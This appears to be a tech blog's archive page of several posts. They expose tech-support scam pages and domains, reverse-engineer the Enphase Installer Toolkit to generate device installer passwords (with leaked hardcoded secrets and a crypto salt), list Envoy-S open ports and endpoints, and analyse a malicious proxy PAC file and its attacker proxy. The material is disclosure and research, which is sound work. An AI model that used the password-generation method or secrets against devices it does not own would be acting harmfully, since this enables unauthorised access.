dot-ontechies.com / 0800-090-3906 virus warning and “TourTech” support scam.

This scam is being answered by TourTech (tourtechinc.com) and payments are being processed via FirstData (a payment processor).

Another month another malvertising scam claiming that victim’s computers have the Zeus virus.

dot-ontechies-scam

The message displayed reads:

Security Error Code 0x80070424

****Please Do Not Restart Your Computer ****

Microsoft Windows Detected ZEUS Virus and these Infections indicate that some Un-Authorised File Tampering has taken place on the computer which must be Diagnosed and Rectified to prevent loss of Personal Data.

Call Microsoft Technical support on 0800-090-3906 and share the Error Ticket: WBCKL457 with Support Agent to get it Diagnosed Free of Charge

PLEASE DO NOT SHUT DOWN OR RESTART YOUR COMPUTER, DOING THAT WOULD LEAD TO DATA LOSS AND OPERATING SYSTEM CRASH

CONTACT MICROSOFT TECHNICAL SUPPORT IMMEDIATELY TO RESOLVE THE ISSUE ON TOLL FREE – 0800-090-3906
—————————————————————————–
for Technical Assistance
—————————————————————————-

Terms and Conditions
All rights reserved.

Victims are asked to call the UK freephone number 0800-090-3906 (aka. 08000903906 / “0800 090 3906” / +448000903906).

The URL involved when I came across it was:

http://chksysonlihneeroorserachinefjoiwrfghjytirtytygkhfhgkm.dot-ontechies.com/000053x56435zx

The domain is registered to:

Registrant Name: JANET FREEMAN
Registrant Street: Mysugar Building, Opposite Ravindra Kalakshetra, J C Road, J C Road
Registrant City: Bengaluru
Registrant State/Province: Karnataka
Registrant Postal Code: 560002
Registrant Country: IN
Registrant Phone: +91.8041325277
Registrant Email: jenny.free7478@rediffmail.com

The code on the page has code that relates to a scam run from

pfzenljnfdkjlejrij-044353423warningalert.microsoftfoundsomesuspiciousactivityfromyouripaddress.somespywaremayhavecausedasecuritybreachatyournetworklocation.livetech-solutions.com

And also “www.gth-techies.com” which is another Apple based scam message giving a different telephone number:

gth-techies-dot-com-scam

This scam page claims..

YOUR Apple COMPUTER HAS BEEN LOCKED*

Your Computer is infected with an adware or malware causing you to see this popup.

This may happen due to obsolete virus protections.

To fix, please call Apple Support at 0808-143-3728 immediately. Please ensure you do not restart your computer to prevent data loss.

Possibility of Data & Identity theft, if not fixed immediately.

YOUR Apple COMPUTER HAS BEEN BLOCKED*

YOUR Apple COMPUTER HAS BEEN LOCKED !!

System has been infected due to unexpected error!
Please Contact Apple 0808-143-3728 Immediately!
to unblock your computer.

\Suspicious Activity Detected. Your Browser might have been hijacked or hacked.

ANONYMOUS ACTIVITY

Private and Financial Data is at RISK:
. Your credit card details and banking information
. Your e-mail passwords and other account passwords
. Your Facebook, Skype, AIM, ICQ and other chat logs
. Your private & family photos and other sensitive files
. Your webcam could be accessed remotely by stalkers

IMMEDIATELY CALL Apple SUPPORT AT 0808-143-3728

MORE ABOUT THIS INFECTION:
Seeing these pop-up’s means that you may have a virus installed on your computer which puts the security of your personal data at a serious risk.
It’s strongly advised that you call the number above and get your computer inspected before you continue using your internet, especially for Shopping or Banking.

Call immediately for assistance.
Contact Apple Support At (0808-143-3728 )

Victims for this scam are asked to call 0808-143-3728 (aka. 08081433728 / +448081433728 / “0808 143 3728”).

This domain is registered to another rediffmail user:

Registrant Name: Jermine Atkinson
Registrant Street: Plot No. 11, Shivashri, Burudgaon Road, Near Hotel Vaibhav, Maliwada
Registrant City: Ahmednagar
Registrant State/Province: Maharashtra
Registrant Postal Code: 414001
Registrant Country: IN
Registrant Phone: +91.2412322268
Registrant Email: koov.atkinson414@rediffmail.com

Another domain associated with the same scam or web developers is:

pfrecloudcompuroorwkjowj4323032fjiasfetafwfad.psp-voism.com/pfrecloudcompuroorwkjowj4323032fjiasfetaf

Which is also registered at another rediffmail address:

Registrant Name: Teoric Parker
Registrant Street: WZ-54 Naraina Village, Naraina
Registrant City: NEW DELHI
Registrant State/Province: Delhi
Registrant Postal Code: 110028
Registrant Country: IN
Registrant Phone: +91.8285040300
Registrant Email: teoric.parker252@rediffmail.com

The IP the original domain points to (107.180.48.126), hosted at GoDaddy, is also associated with the following scammy domains:

  • system-info-require-network-maintenance-contact-remote-support.info
  • system-require-urgent-repair.info

As a side note I believe that these scammers use and buy very controlled advertising runs. For example I think this company is only buying adverts Monday to Friday and probably only during their office hours or quiet hours (if they have a legitimate business running out of the same support center).

Posted in Uncategorized | 1 Comment

An old WebRTU Z3 Installation under British Gas Energy360

While trying to track down a timer switch for some street lighting around a building I happened upon this strange set of devices.

IMG_20160902_213416

There are three boxes. The top box is a WebRTU Z3 by EnergyICT. The two below are British Gas Business branded boxes. They appear to be hard-wired into the mains supply with no ability to switch them off. The white cable coming out of the lowest of the 3 boxes is an Ethernet cable that was plugged into a network wall socket.

To the right in the (now empty) electrical cabinet are three clamp meters / current sensors.

It seems these devices must have been installed prior to 2010. Nobody seems to know anything about them, when they were put in or when and why they were decommissioned.

The British Gas box is quite obvious. I expect the bottom of the two (without the display) is the power supply to convert the mains in to low voltage to then power the WebRTU and the LCD box.

The LCD box just displays current throughput and historic energy use over 3 or 4 time periods. This box then communicates with the WebRTU.

It looks like the WebRTU can contain a SIM card but I expect this installation doesn’t have one (given that it was ethernetted in).

The RTU then reports usage back to British Gas’s “Energy360” service. Sadly – given that nobody knows anything about the installation I expect there is also no record of any logins to go snooping about. (Although it will show 0 usage since whenever the machine was disconnected).

The web interface of the WebRTU is very basic..

IMG_20160902_220524

Even a simple default nmap scan crashed the web interface and I’m now also unable to power cycle it given that the devices are hard wired into the electricity supply.

If I open up the boxes in the future I will update this post with photographs of their insides!

Posted in Uncategorized | Leave a comment

Reverse Engineering the Enphase Installer Toolkit

If you are interested in other Enphase information the following other pages may also be of interest:
What is inside the Enphase Envoy-S (teardown)
Enphase Envoy-S “Data Scraping”.
Enphase Envoy-S Open Ports!

While on my quest to create my own logging and analytics for the Envoy-S Solar PV controller I also was interested in how the Installer Toolkit authenticates with the web interface of the Envoy.

Authentication is “Digest” based so it isn’t as simple as just undoing the base64 encoding that “Basic” http authentication uses. Digest uses a nonce, domain and url in the mix to make each request to different pages need it’s own hashed password.

The trouble is – I don’t know what the password is for the Envoy. The username is “installer” but the password isn’t something known. I hoped to extract the password generation method from the Android application.

What helped is the fact that it seems the application is a Xamarin based application. As far as I can work out this means they wrote the application in Microsoft Visual Studio and have ported it to run on multiple mobile devices (Apple, Android, Windows Phone(?)).

So – decompressing the APK produces a load of windows .dll files! ILSpy then allows me to investigate the content or code within.

ilspy xamarin enphase about box

So.. all easy for me to understand in the language(s) that I can work with.
Imagine my surprise when I came across the “Configuration” section.

enphase oauth 911wasaninsidejob Oauth1911wasaninsidejob

Private Const OAuth2BogusClientId As String = "installer-toolkit-bogus"

Private Const OAuth2BogusSecret As String = "911wasaninsidejob"

Private Const OAuth1BogusConsumerKey As String = "notavalidconsomerkey"

Private Const OAuth1BogusConsumerSecret As String = "Oauth1911wasaninsidejob"

While being part of code that isn’t used in active connections (I believe the bogus sections are for offline, debug or demonstration testing that don’t authenticate against live systems).. I’m amazed that wording like that has remained within a program written by a company who, I presume, wouldn’t like it against their reputation.

My first thought is maybe a programmer has taken example code and forgotten to change the strings.. but no, a quick Google Search doesn’t reveal any pages at all with the wording in it… so it isn’t a lazy copy and paste from existing public “example” code.

Moving on from that… Other interesting bits of code are:

Public Function UsernameIsReviewUser(username As String) As Boolean
    Return Not String.IsNullOrEmpty(username) AndAlso username.ToLower().Equals("enphase.rev1400@gmail.com")
End Function
Friend Module Crypto
    Private salt As Byte() = Encoding.ASCII.GetBytes("com.enphase-energy.rocksit247")

If you are on Android then the SQLite Database it uses is stored in “/mnt/sdcard/Enphase/EnphaseDB_fixed.db3”.

When the Envoy is in AP mode the IP address might be  “172.30.1.1”

Back onto Task. The Digest Authentication is handled by “Enphase.InstallerToolkit -> Enphase.Installeroolkit.Models -> EnphaseEnvoy” and uses the following code:

Public Sub SetupAuth()
	Dim credentialCache As CredentialCache = New CredentialCache()
	credentialCache.Add(New Uri("http://" + Me.IP_Address), "Digest", New NetworkCredential("installer", Me.GetPasswordForEnvoy()))
	credentialCache.Add(New Uri("http://" + Me.IP_Address + ":9094"), "Digest", New NetworkCredential("installer", Me.GetPasswordForEnvoy()))
	Dim nativeCookieHandler As NativeCookieHandler = New NativeCookieHandler()
	Dim list As List(Of Cookie) = New List(Of Cookie)()
	For Each current As Cookie In nativeCookieHandler.Cookies
		If current.Name.ToUpper().Equals("SESSIONID") Then
			current.Value = Nothing
			list.Add(current)
		End If
	Next
	nativeCookieHandler.SetCookies(list)
	Me.httpClient = New HttpClient(New NativeMessageHandler(False, False, nativeCookieHandler) With { .UseDefaultCredentials = False, .Credentials = credentialCache })
End Sub

Public Function GetPasswordForEnvoy() As String
	Dim bufLen As UInteger = 128UI
	Dim stringBuilder As StringBuilder = New StringBuilder(128)
	EnphaseEnvoy.emupwGetMobilePasswd(Me.Serial_Number, "installer", Nothing, stringBuilder, bufLen)
	Return stringBuilder.ToString()
End Function

Public Shared Declare Function emupwGetMobilePasswd Lib "libemupw.so" (in_serialNumber As String, in_user As String, in_domain As String, out_buf As StringBuilder, bufLen As UInteger) As Integer 

In plain terms this means the function “SetupAuth” adds credentials to the http request using the hard coded username “installer” and the password generated by the function ” GetPasswordForEnvoy”.

GetPasswordForEnvoy, as far as I can read, creates a 128 character buffer and string and then requests another function of “emupwGetMobilePasswd” with the parameters:
Serial Number of Envoy, “installer”, Nothing, Blank String, Blank Buffer

Now; emupwGetMobilePasswd then references to an external “libemupw.so”dependent which appears to be a compiled program or component for ARM architecture processors. Sadly it doesn’t seem to be a drop in component and is likely a custom file for Enphase
It only seems to take the serial number and username as input. The “Domain” string (3rd input) is set to “Nothing” in the code and the final two variables are the out string and buffer.

libemupw.cfg.emupwGetMobilePasswd

libemupw.cfg.emupwGetPasswd

libemupw.cfg.emupwGetPasswdForSn

This is where it gets beyond me skill level. I will continue to research and work out how I can either run the object on demand or just the math or function used to hash the details to return the password. More to come.. Bookmark and return at some point.

Update: 19th November 2016. Version 2.1.10 of the Installer Toolkit is out and has the following notable changes.

It contains a variable WORK_OFFLINE_KEY

Update: 21st August 2018. My own password cracked!

I’ve finally managed to make my own software that can interface with the libemupw.so file mentioned above! I can now, on demand, generate passwords against Envoy-S serial numbers.

I need to investigate if I can either package it up and distribute it for others to generate their own passwords or if I can make it a web based password generator somehow. The biggest problem is the .so is compiled for ARM… so getting data into and out of it will require an ARM emulator or a mobile phone.

Success.. web access to the installer interface on a computer!

Update: 22nd August 2018. Application made!

Enphase Energy Envoy-S password algorithm runner app!

You can download the Android app here.. Install then run it.. type in your units serial number and the blue box will show the installer password!

Update July 2021: A phyton script appears!
A visitor has managed to do what I couldn’t and has re-written the functions (my method just “uses” the existing compiled dll; hence the android requirement).
https://github.com/sarnau/EnphaseEnergy
Please show your gratitude by commenting below saying thanks if you use either method.

Posted in Uncategorized | 224 Comments

Bulk Updating Office 365 Department for users via PowerShell

This has good applications in a school or college where you have cohorts moving up a year. It also is useful for enterprise where a department has been renamed.

$Mailboxes = get-user -Filter {Department -like "Year 11"}
$Mailboxes | ForEach-Object { set-user -Identity $_.Identity  -Department "Year 12" }

Remember to first delete all your Year 12 (aka. leavers) before running the script otherwise it will become complicated very quickly with merged year 12 from year 11 and year 12 who have left.

Posted in Uncategorized | Leave a comment

“AUSE099” Sage Accounts online update error.

I had a customer computer where Sage would prompt to upgrade to be able to open their company file. When it got to the stage where Sage should be downloading the file – I got the error code “AUSE099” and no further information.

There seems to be no decent information on the internet on what can cause the problem. Sage have the boring advice of “download the update manually and install it” which wasn’t what I wanted.

Using Process Monitor I tracked the problem down, in my case, to the Background Intelligent Transfer Service (BITS) being stopped and disabled on the computer.

I enabled it and started the service, re-ran Sage and clicked update – this time it worked!

Hope this helps someone.

Posted in Uncategorized | Leave a comment

“0-800-098-8522” fake virus warning messages.

there is a .net frame work file missing“ip5.ip-158-69-114.net” / “158.69.114.5” seems to be hosting several domains associated with fake virus warnings.

The page I came across was:

hxxp://upwardd.website/0508/E2/
error9/uk/800-098-8522/alert.html

With the fake alert as follows….

Security Error

There is a .net frame work file missing due to some harmfull virus

Debug malware error 895-system 32.exe failure.

Please contact Windows technicians to rectify the issue.
Please do not open internet browser for your security issue to avoid data corruption on your registery of your operating system. Please contact Windows technicians at

Tollfree Helpline at 0-800-098-8522

PLEASE DO NOT SHUT DOWN OR RESTART YOUR COMPUTER, DOING THAT MAY LEAD TO DATA LOSS AND FAILIURE OF OPERATING SYSTEM , HENCE NON BOOTABLE SITUATION RESULTING COMPLETE DATA LOSS . CONTACT ADMINISTRATOR DEPARTMENT TO RESOLVE THE ISSUE ON TOLL FREE – 0-800-098-8522

The message asks victims to call “0-800-098-8522” (aka. 0800 098 8522 / +448000988522 / 08000988522).

If you manage to click past the javascript alerts you then get sent onto another page:
http://upwardd.website/0508/E2/error9/uk/800-098-8522/error.html

This page claims the following along with a scary count down..

0x000314CE VIRUS_DETECTED_WITHOUT_CANCELLING_PENDING_OPERATIONS

Hard Drive Safety Delete Starting In 4:36

To STOP Deleting Hard Drive Call:
0-800-098-8522

ERROR CODE: 0x000314CE

Hard Drive Safety Delete Starting In 4:36

************************************************
************************************************
Please contact technical support Toll Free: 0-800-098-8522
To immediately rectify issue and prevent data loss

Another scam message hosted at “geekbanks.xyz” has the following message:

Call Windows Help Desk Immediately at 0-800-090-3105

The following data will be compromised if you continue:
1. Passwords
2. Browser History
3. Credit Card Information

This virus is well known for complete identity and credit card theft. Further action through his computer or any computer on the network will reveal private information and involve serious risks.

Call Windows Help Desk Immediately at 0-800-090-3105

Along with a fake user / password box of:

0x80070424 Warning: Activation Key Damaged !!! Call Windows Help Desk: +0-800-090-3105 (TOLL-FREE)

asking victims to call 08000903105 aka. “0800 090 3105” or +448000903105

The scam domain I came across is also associated with:

upwardd.website
virtuloan.website
technostarjet.xyz
performancestars.xyz
geekstars.xyz
celebrationbank.xyz
friendlycounsel.xyz
computerstars.xyz
geekbanks.xyz
keygeekcounsil.xyz
ab5.iwla1.org
windows-criticalerror121.com
windows-criticalerror122.com
windows-criticalerror123.com
windows-criticalerror124.com
windows-criticalerror125.com
traading.website
masterfund.website
ranklytic.website
percentt.website
flowbux.website
warnertravel.xyz

Associated with the domains is “sarthak754@gmail.com” and the following set of domains that were previously hosted on another server:

ftp.error-script.info
ftp.error-scripts.info
identityjet.website
warnertravels.xyz
glamswipe.online
dhawanfinance.xyz
dhawanfin.xyz
cloudenic.online
universaltravel.xyz
dhawanfinancegroup.xyz
bunkerup.online
plazafinancegroup.xyz
playfinance.xyz
dhawanfinancial.xyz
microda.online
venusfinancegroup.xyz
windowscrashreport.info
sportfinance.xyz
venusfinance.xyz
techierisk.website
windowscrashreport.info
cavi.website
fibena.online
solesto.online
caqo.website
warnervacation.xyz
internationaltrip.xyz
plazafinance.xyz
appletravel.xyz
playfinancegroup.xyz
globalcommute.xyz
zensoro.online
techierisk.xyz
venusfinancial.xyz
techierisk.site
startingkey.website
venusfin.xyz
stopshopper.net
sifi.website
rankbolt.online
web1.errorscripts.info
globaltravels.xyz
appletravelagency.xyz
fault-script.net
web2.errorscripts.info
cashy.website
techosoo.online
stopshopper.us
scribber.website
internationaltrip.xyz
windows-criticalerror.net
windows-criticalerror.co
warnertrip.xyz
finally.website
web3.errorscripts.info
chil.website
stopshopper.biz
qabla.website
yesmargin.website
vobi.website
snaat.website
windows-criticalerror.xyz
ftp.errorscript.info
accountking.website
venusfin.xyz
windows-criticalerror.org
stopshopper.info
nort.website
windows-criticalerror.info
texuro.online
zoto.website
playfinancegroup.xyz

Posted in Uncategorized | Leave a comment

Enphase Envoy-S Open Ports!

If you are interested in other Enphase information the following other pages may also be of interest:
What is inside the Enphase Envoy-S (teardown)
Reverse Engineering the Enphase Installer Toolkit
Enphase Envoy-S “Data Scraping”.

Further to my last post about the Envoy-S JSON data that can be retrieved.. I did some more intrusive testing.

Several things to note. It seems that a change between the Envoy-S and the Envoy LCD changed two of the hosts to communicate over port 80 instead of HTTPs / Port 443.

envoy https change

The data exchanged over http port 80 does seem to be obfiscated in some way.. beyond my skills to try and decipher but it is a shame that the entire TLS handshake seems to have been abandoned. The reports. hostsname seems to be the hostname that is mainly communicated with. I’ve not noticed any 443 requests to the home. hostname.

Moving on from that – A port scan against my Envoy-S reveals quite a staggering number of open TCP ports:

Port 22
SSH “SSH-2.0-OpenSSH_6.6”

Port 53
Commonly used as the DNS port but doesn’t seem to respond to TCP DNS requests. Upon connection to it via Telnet you instantly get TCP FIN and the connections gets closed.

Port 80
Easy – the web interface! Doesn’t give away what kind of http daemon that it uses though.

Port 8082
Some sort of web server. Responds with an authentication request for Digest realm=”enphaseenergy.com” and the web server in use is Xavante 2.2.0

Port 8100
Another Xavante 2.2.0 webserver that instantly gives a 404 but the 404 contains the entire url requested rather than just “/”.
The requested URL http://10.0.0.177:8100/ was not found on this server.
This almost makes me wonder if it is some sort of open reverse proxy for Enphase to be able to then hop into accessing the IPs(?) of the Inverters for troubleshooting.

Port 9091
Exactly the same as above.

UDP Port 5353
MDNS Responder

Posted in Uncategorized | 3 Comments

Enphase Envoy-S “Data Scraping”.

If you are interested in other Enphase information the following other pages may also be of interest:
What is inside the Enphase Envoy-S (teardown)
Reverse Engineering the Enphase Installer Toolkit
Enphase Envoy-S Open Ports!

I’ve recently had to interface with an EnPhase Envoy Solar PV system. The annoying thing is the lack of documentation.

The API for the “cloud service” exists and is well documented but the API for the local device itself doesn’t seem to exist.

There is one tiny one page document that seems to suggest you can get some data from the device. The information gleaned from their example API ” http://device.ip.address.here/api/v1/production ” is poor.

{
 "wattHoursToday": 6641,
 "wattHoursSevenDays": 6641,
 "wattHoursLifetime": 6669,
 "wattsNow": 90
}

First.. it gives far LESS information than you can just retrieve from the main web page for the device on the LAN. Secondly the wattsNow field doesn’t seem to match the information displayed on the main page of the device. The wattsHoursSevenDays is also slightly off. Third.. it doesn’t even update regularly. You can’t have a system that detects dips in production due to cloud cover etc.

However. I did find some other sensible sources for information – and information that updates at an even more regular rate than the devices main website!

When you visit the site on the device running firmware D4.2.27 it makes the following requests:

http://10.0.0.177/backbone/application.js?version=04.02.43
This URL contains a lot of references to other json files that I need to research. See further down in this post for the other URLs exposed.

http://10.0.0.177/home.json
This json file contains the Database size / utilisation, date and time on the device, connection status and settings and update status.

http://10.0.0.177/production.json
Contains most useful information.. Production and (if fitted) consumption data!

{
   "production":[
      {
         "type":"inverters",
         "wNow":74,
         "whLifetime":6815.014722222222,
         "readingTime":1470250044,
         "activeCount":14
      },
      {
         "type":"eim",
         "activeCount":1,
         "whLifetime":6704.458,
         "whLastSevenDays":6676.458,
         "whToday":6676.458,
         "wNow":66.236,
         "rmsCurrent":1.179,
         "rmsVoltage":246.433,
         "reactPwr":276.774,
         "apprntPwr":290.494,
         "pwrFactor":0.23,
         "readingTime":1470250044
      }
   ],
   "consumption":[
      {
         "type":"eim",
         "activeCount":1,
         "whLifetime":8025.821,
         "whLastSevenDays":7899.821,
         "whToday":7899.821,
         "wNow":2641.386,
         "varhLeadToday":2822.701,
         "varhLagToday":1810.03,
         "vahToday":9018.68,
         "varhLeadLifetime":2951.701,
         "varhLagLifetime":1922.03,
         "vahLifetime":9473.68,
         "rmsCurrent":11.924,
         "rmsVoltage":246.458,
         "reactPwr":-284.009,
         "apprntPwr":2938.817,
         "pwrFactor":0.9,
         "readingTime":1470250044
      }
   ]
}

http://10.0.0.177/inventory.json
Also contains some very useful information. Detailed status about the state of each micro-inverter. So far I’ve seen the following states:

– “envoy.global.ok”
– “envoy.cond_flags.pcu_ctrl.commandedreset”
– “envoy.cond_flags.pcu_ctrl.dc-pwr-low”
– “envoy.cond_flags.obs_strs.discovering”
– “envoy.cond_flags.obs_strs.failure”
The full conversion table on what these status messages mean in english is at the end of this article.

The full output of the page is as follows:

[
   {
      "type":"PCU",
      "devices":[
         {
            "part_num":"800-00356-r04",
            "installed":"1470228526",
            "serial_num":"REDACTED",
            "device_status":[
               "envoy.cond_flags.pcu_ctrl.commandedreset",
               "envoy.cond_flags.pcu_ctrl.dc-pwr-low"
            ],
            "last_rpt_date":"1470249596",
            "admin_state":1,
            "created_date":"1470228526",
            "img_load_date":"1424997903",
            "img_pnum_running":"520-00045-r01-v01.22.00",
            "ptpn":"540-00087-r01-v01.22.00",
            "producing":true,
            "communicating":true,
            "chaneid":1627392273,
            "device_control":[
               {
                  "gficlearset":false
               }
            ]
         },
         {
            "part_num":"800-00356-r04",
            "installed":"1470228529",
            "serial_num":"REDACTED",
            "device_status":[
               "envoy.cond_flags.obs_strs.discovering"
            ],
            "last_rpt_date":"1470249602",
            "admin_state":1,
            "created_date":"1470228529",
            "img_load_date":"1424997903",
            "img_pnum_running":"520-00045-r01-v01.22.00",
            "ptpn":"540-00087-r01-v01.22.00",
            "producing":false,
            "communicating":true,
            "chaneid":1627392529,
            "device_control":[
               {
                  "gficlearset":false
               }
            ]
         },
         {
            "part_num":"800-00356-r04",
            "installed":"1470228533",
            "serial_num":"REDACTED",
            "device_status":[
               "envoy.global.ok"
            ],
            "last_rpt_date":"1470249613",
            "admin_state":1,
            "created_date":"1470228533",
            "img_load_date":"1424997903",
            "img_pnum_running":"520-00045-r01-v01.22.00",
            "ptpn":"540-00087-r01-v01.22.00",
            "producing":true,
            "communicating":true,
            "chaneid":1627392785,
            "device_control":[
               {
                  "gficlearset":false
               }
            ]
         }
      ]
   }
]

And thanks to Stuart Graves:
/stream/meter
Which produces a continual stream of data for each phase. It does require authentication. It might be useful to read Stuart’s comment here.

All of this means you can make your own system that (in my case) refreshes generation and consumption status up-to-the-second!

A couple of notes: The Consumption metering / data seems to give strange low or even minus values if you fetch the json file more than roughly once per second. (Possibly because it works on a counter and the math goes wrong?)
During nighttime the Production metering goes into a minus value, for example -7 Watts. This is in fact the correct reading. The Envoy-S javascript filters out minus values and ensures a 0 is displayed. Cheeky!
The panel count on the main production.json file is the count of associated panels and not the currently generating panels. I’ve used the inventory.json file to count the number of panels “producing”, I refresh this information every 3 minutes instead of every second.

solar status

solar panel status

My next steps are to investigate the JavaScript and see what other pages are accessible. I also need to see if I can reverse engineer, find out or ask the installer for the “Installer Login” password (UPDATE: This has been done, see here!).

I also wish there was public documentation. No google searches for the status strings or other data I’ve found in the JSON files have returned any results to do with Enphase / SolarPV.

The backbone/application.js file exposes the following sub-files on the devices web server.
– /admin/lib/admin_dcc_display.json
– /ivp/tpm/capability
– /datatab/event_dt.rb?start=0&length=153
– /info.xml
– /ivp/meters
– /installer/pcu_comm_check
– /api/v1/production/inverters
– /prov
– /ivp/peb/newscan
– /installer/profiles/index.json
– /installer/profiles/details.json
– /installer/profiles/inverters_status.json
– /installer/profiles/set_profile.json
– /admin/lib/admin_pmu_display.json
– /ivp/peb/reportsettings
– /ivp/tpm/select
– /ivp/tpm/tpmstatus
– /ivp/tpm/parameters
– /admin/lib/dba.json
– /admin/lib/security_display.json
– /admin/lib/date_time_display.json?tzlist=1&locale=en
– /admin/lib/network_display.json
– /api/v1/production/inverters
– /admin/lib/wireless_display.json?site_info=0

Full status messages system strings to plain english:

        cond_flags: {
            acb_ctrl: {
                bmuhardwareerror: "BMU Hardware Error",
                bmuimageerror: "BMU Image Error",
                bmumaxcurrentwarning: "BMU Max Current Warning",
                bmusenseerror: "BMU Sense Error",
                cellmaxtemperror: "Cell Max Temperature Error",
                cellmaxtempwarning: "Cell Max Temperature Warning",
                cellmaxvoltageerror: "Cell Max Voltage Error",
                cellmaxvoltagewarning: "Cell Max Voltage Warning",
                cellmintemperror: "Cell Min Temperature Error",
                cellmintempwarning: "Cell Min Temperature Warning",
                cellminvoltageerror: "Cell Min Voltage Error",
                cellminvoltagewarning: "Cell Min Voltage Warning",
                cibcanerror: "CIB CAN Error",
                cibimageerror: "CIB Image Error",
                cibspierror: "CIB SPI Error"
            },
            obs_strs: {
                discovering: "Discovering",
                failure: "Failure to report",
                flasherror: "Flash Error",
                notmonitored: "Not Monitored",
                ok: "Normal",
                plmerror: "PLM Error",
                secmodeenterfailure: "Secure mode enter failure",
                secmodeexitfailure: "Secure mode exit failure",
                sleeping: "Sleeping"
            },
            pcu_chan: {
                acMonitorError: "AC Monitor Error",
                acfrequencyhigh: "AC Frequency High",
                acfrequencylow: "AC Frequency Low",
                acfrequencyoor: "AC Frequency Out Of Range",
                acvoltage_avg_hi: "AC Voltage Average High",
                acvoltagehigh: "AC Voltage High",
                acvoltagelow: "AC Voltage Low",
                acvoltageoor: "AC Voltage Out Of Range",
                acvoltageoosp1: "AC Voltage Out Of Range - Phase 1",
                acvoltageoosp2: "AC Voltage Out Of Range - Phase 2",
                acvoltageoosp3: "AC Voltage Out Of Range - Phase 3",
                agfpowerlimiting: "AGF Power Limiting",
                dcresistancelow: "DC Resistance Low",
                dcresistancelowpoweroff: "DC Resistance Low - Power Off",
                dcvoltagetoohigh: "DC Voltage Too High",
                dcvoltagetoolow: "DC Voltage Too Low",
                dfdt: "AC Frequency Changing too Fast",
                gfitripped: "GFI Tripped",
                gridgone: "Grid Gone",
                gridinstability: "Grid Instability",
                gridoffsethi: "Grid Offset Hi",
                gridoffsetlow: "Grid Offset Low",
                hardwareError: "Hardware Error",
                hardwareWarning: "Hardware Warning",
                highskiprate: "High Skip Rate",
                invalidinterval: "Invalid Interval",
                pwrgenoffbycmd: "Power generation off by command",
                skippedcycles: "Skipped Cycles",
                vreferror: "Voltage Ref Error"
            },
            pcu_ctrl: {
                alertactive: "Alert Active",
                altpwrgenmode: "Alternate Power Generation Mode",
                altvfsettings: "Alternate Voltage and Frequency Settings",
                badflashimage: "Bad Flash Image",
                bricked: "No Grid Profile",
                commandedreset: "Commanded Reset",
                criticaltemperature: "Critical Temperature",
                "dc-pwr-low": "DC Power Too Low",
                iuplinkproblem: "IUP Link Problem",
                manutestmode: "In Manu Test Mode",
                nsync: "Grid Perturbation Unsynchronized",
                overtemperature: "Over Temperature",
                poweronreset: "Power On Reset",
                pwrgenoffbycmd: "Power generation off by command",
                runningonac: "Running on AC",
                tpmtest: "Transient Grid Profile",
                unexpectedreset: "Unexpected Reset",
                watchdogreset: "Watchdog Reset"
            },
            rgm_chan: {
                check_meter: "Meter Error",
                power_quality: "Poor Power Quality"
            }
        }

Some more info about errors can be found on page 45 of the manual.
CommandedReset Recommended Action: No action is required; it will automatically resume normal operation momentarily. Description: The microinverter was reset, either following a successful software download or by user command.

DcPowerTooLow Recommended Action: This condition should correct itself. No action is required. Description: This condition may occur at sunrise or sunset, while the modules are covered with snow, or during extreme weather. This event indicates that sunlight levels are too low for effective production. Once sunlight levels increase, the microinverter resumes power production and this event message will clear.

DcVoltageTooLow Recommended Action: This is usually a normal condition during hours of low light and at dawn and dusk. No action is required. Description: The microinverter reports that DC input voltage from the PV module is too low. If this condition does not clear during hours of full day

PowerOnReset Description: The microinverter has powered on after having DC disconnected.

Posted in Uncategorized | 202 Comments

stoppblock.net proxy PAC malware and “50.7.182.141”

In a continuation to the previous post about a computer with “infected” DNS settings….

The same machine also had a Proxy PAC file set.

In the specific computers instance it had this URL set in the automatic proxy settings section:

http://stoppblock.net/wpad.dat?fb4c39d90b3dd1f76bda246b4a60839913671305

stoppblock.net, registered via a whois privacy service, was only registered on the 4th July 2016 and has only been hosting a website from around the 21st July. A similar domain “Stopblock.me” seems to have been registered much longer ago in September 2015 using a privacy service and a similar DNS setup to the new site and is hosted at the same datacenter.

Now – if you download the above URL using something like Notepad or CURL you get a blank file telling software to go DIRECT;

If you use a known browser you instead get the following PAC script found at the end of this blog article.

What is interesting here is they seem to be taking SHA256 hashes of URLs and matching them. Clever idea. This instantly increases the difficulty in identifying which websites they are targeting with their proxy attack.

It looks like they are usurping traffic to 192 domains.

If one of these domains is detected they then currently relay the traffic via the following proxy hosted at FDC Servers:

50.7.182.141:51598

It looks like the above server has thousands of open ports, probably all entirely open and ready to proxy.

If you manually set your proxy to it you can tell which websites are on their intercept list in the PAC file. Any domain they don’t like is greeted with a “403 Forbidden” while domains they do like.. (some that I’ve found so far):

– Google.com
– chrome.google.com
http://www.google-analytics.com

The above sites get proxied and SSL Man in the middled (MITM). I feel like maybe the malware which setup this PAC comes along with it’s own “Trusted” Root CA so their generated proxy certificates work.

Upon initial investigation the root of google.com doesn’t get modified upon request via the malware proxy.

Here is the proxy PAC code as referenced above.. it was too long to put in the middle of the article:

/*
CryptoJS v3.1.2
code.google.com/p/crypto-js
(c) 2009-2013 by Jeff Mott. All rights reserved.
code.google.com/p/crypto-js/wiki/License
*/
var CryptoJS = CryptoJS || function(h, s) {
 var f = {},
 t = f.lib = {},
 g = function() {},
 j = t.Base = {
 extend: function(a) {
 g.prototype = this;
 var c = new g;
 a && c.mixIn(a);
 c.hasOwnProperty("init") || (c.init = function() {
 c.$super.init.apply(this, arguments)
 });
 c.init.prototype = c;
 c.$super = this;
 return c
 },
 create: function() {
 var a = this.extend();
 a.init.apply(a, arguments);
 return a
 },
 init: function() {},
 mixIn: function(a) {
 for (var c in a) a.hasOwnProperty(c) && (this[c] = a[c]);
 a.hasOwnProperty("toString") && (this.toString = a.toString)
 },
 clone: function() {
 return this.init.prototype.extend(this)
 }
 },
 q = t.WordArray = j.extend({
 init: function(a, c) {
 a = this.words = a || [];
 this.sigBytes = c != s ? c : 4 * a.length
 },
 toString: function(a) {
 return (a || u).stringify(this)
 },
 concat: function(a) {
 var c = this.words,
 d = a.words,
 b = this.sigBytes;
 a = a.sigBytes;
 this.clamp();
 if (b % 4)
 for (var e = 0; e < a; e++) c[b + e >>> 2] |= (d[e >>> 2] >>> 24 - 8 * (e % 4) & 255) << 24 - 8 * ((b + e) % 4);
 else if (65535 < d.length)
 for (e = 0; e < a; e += 4) c[b + e >>> 2] = d[e >>> 2];
 else c.push.apply(c, d);
 this.sigBytes += a;
 return this
 },
 clamp: function() {
 var a = this.words,
 c = this.sigBytes;
